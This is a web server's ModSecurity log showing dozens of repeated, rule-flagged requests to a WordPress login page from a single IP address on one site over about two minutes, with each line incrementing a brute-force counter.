[Sat Feb 28 03:32:06.921898 2026] [:error] [pid 15098:tid 15126] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxNskFqny8dQQbmTlDCAAAAJQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:09.131103 2026] [:error] [pid 15098:tid 15115] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxOckFqny8dQQbmTlDCQAAAIk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:12.054802 2026] [:error] [pid 15098:tid 15118] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxPMkFqny8dQQbmTlDEAAAAIw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:14.236010 2026] [:error] [pid 15098:tid 15117] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxPskFqny8dQQbmTlDFAAAAIs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:17.050904 2026] [:error] [pid 15098:tid 15120] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxQckFqny8dQQbmTlDFgAAAI4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:19.017742 2026] [:error] [pid 15098:tid 15126] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxQ8kFqny8dQQbmTlDGQAAAJQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:21.683145 2026] [:error] [pid 15098:tid 15128] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxRckFqny8dQQbmTlDHgAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:23.532340 2026] [:error] [pid 15098:tid 15108] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxR8kFqny8dQQbmTlDHwAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:26.262283 2026] [:error] [pid 15098:tid 15124] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxSskFqny8dQQbmTlDIwAAAJI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:28.269036 2026] [:error] [pid 15098:tid 15122] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxTMkFqny8dQQbmTlDJAAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:31.008632 2026] [:error] [pid 15098:tid 15117] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxT8kFqny8dQQbmTlDJwAAAIs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:32.875866 2026] [:error] [pid 15098:tid 15119] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxUMkFqny8dQQbmTlDKAAAAI0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:35.649023 2026] [:error] [pid 15098:tid 15107] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxU8kFqny8dQQbmTlDKgAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:37.850126 2026] [:error] [pid 15098:tid 15114] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxVckFqny8dQQbmTlDKwAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:40.632801 2026] [:error] [pid 15098:tid 15120] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxWMkFqny8dQQbmTlDLgAAAI4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:42.811682 2026] [:error] [pid 15098:tid 15126] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxWskFqny8dQQbmTlDLwAAAJQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:45.639944 2026] [:error] [pid 15098:tid 15116] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxXckFqny8dQQbmTlDMQAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:47.656740 2026] [:error] [pid 15098:tid 15128] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxX8kFqny8dQQbmTlDMgAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:50.464709 2026] [:error] [pid 15098:tid 15125] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxYskFqny8dQQbmTlDNAAAAJM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:52.421202 2026] [:error] [pid 15098:tid 15108] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxZMkFqny8dQQbmTlDNQAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:55.156482 2026] [:error] [pid 15098:tid 15130] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxZ8kFqny8dQQbmTlDNwAAAJg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:57.234259 2026] [:error] [pid 15098:tid 15124] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxackFqny8dQQbmTlDOAAAAJI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:00.030701 2026] [:error] [pid 15098:tid 15129] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxbMkFqny8dQQbmTlDOgAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:02.247989 2026] [:error] [pid 15098:tid 15118] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxbskFqny8dQQbmTlDOwAAAIw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:05.085930 2026] [:error] [pid 15098:tid 15105] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxcckFqny8dQQbmTlDQAAAAIA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:07.276959 2026] [:error] [pid 15098:tid 15114] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxc8kFqny8dQQbmTlDQgAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:10.299158 2026] [:error] [pid 15098:tid 15120] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxdskFqny8dQQbmTlDRAAAAI4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:12.544440 2026] [:error] [pid 15098:tid 15113] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxeMkFqny8dQQbmTlDRQAAAIc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:15.322190 2026] [:error] [pid 15098:tid 15116] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxe8kFqny8dQQbmTlDSAAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:17.246897 2026] [:error] [pid 15098:tid 15106] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxfckFqny8dQQbmTlDSQAAAIE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:19.972931 2026] [:error] [pid 15098:tid 15108] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxf8kFqny8dQQbmTlDSwAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:22.244372 2026] [:error] [pid 15098:tid 15124] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxgskFqny8dQQbmTlDTgAAAJI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:25.062138 2026] [:error] [pid 15098:tid 15129] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxhckFqny8dQQbmTlDUAAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:27.070730 2026] [:error] [pid 15098:tid 15127] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxh8kFqny8dQQbmTlDUQAAAJU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:29.828178 2026] [:error] [pid 15098:tid 15109] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxickFqny8dQQbmTlDUwAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:31.853279 2026] [:error] [pid 15098:tid 15114] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxi8kFqny8dQQbmTlDVgAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:34.599188 2026] [:error] [pid 15098:tid 15116] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxjskFqny8dQQbmTlDXAAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:36.675710 2026] [:error] [pid 15098:tid 15130] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxkMkFqny8dQQbmTlDXgAAAJg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:39.433723 2026] [:error] [pid 15098:tid 15117] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxk8kFqny8dQQbmTlDYgAAAIs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:41.401824 2026] [:error] [pid 15098:tid 15109] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxlckFqny8dQQbmTlDYwAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:44.261591 2026] [:error] [pid 15098:tid 15111] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxmMkFqny8dQQbmTlDZQAAAIU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:46.477977 2026] [:error] [pid 15098:tid 15126] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxmskFqny8dQQbmTlDaQAAAJQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:50.158294 2026] [:error] [pid 15240:tid 15255] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxni1iKL_41Rk9A9Oz_wAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:52.225949 2026] [:error] [pid 15240:tid 15245] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxoC1iKL_41Rk9A9O0AwAAAAM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:54.940257 2026] [:error] [pid 15240:tid 15260] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxoi1iKL_41Rk9A9O0DAAAABI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:57.038939 2026] [:error] [pid 15240:tid 15244] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxpS1iKL_41Rk9A9O0EQAAAAI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:33:59.825503 2026] [:error] [pid 15240:tid 15255] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxpy1iKL_41Rk9A9O0EwAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:01.928165 2026] [:error] [pid 15240:tid 15242] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxqS1iKL_41Rk9A9O0FgAAAAA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:04.796996 2026] [:error] [pid 15240:tid 15253] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxrC1iKL_41Rk9A9O0GQAAAAs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:06.852862 2026] [:error] [pid 15240:tid 15247] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxri1iKL_41Rk9A9O0GgAAAAU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:09.796249 2026] [:error] [pid 15240:tid 15251] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxsS1iKL_41Rk9A9O0IAAAAAk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:12.271197 2026] [:error] [pid 15240:tid 15246] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxtC1iKL_41Rk9A9O0JQAAAAQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:15.105043 2026] [:error] [pid 15240:tid 15242] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxty1iKL_41Rk9A9O0KgAAAAA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
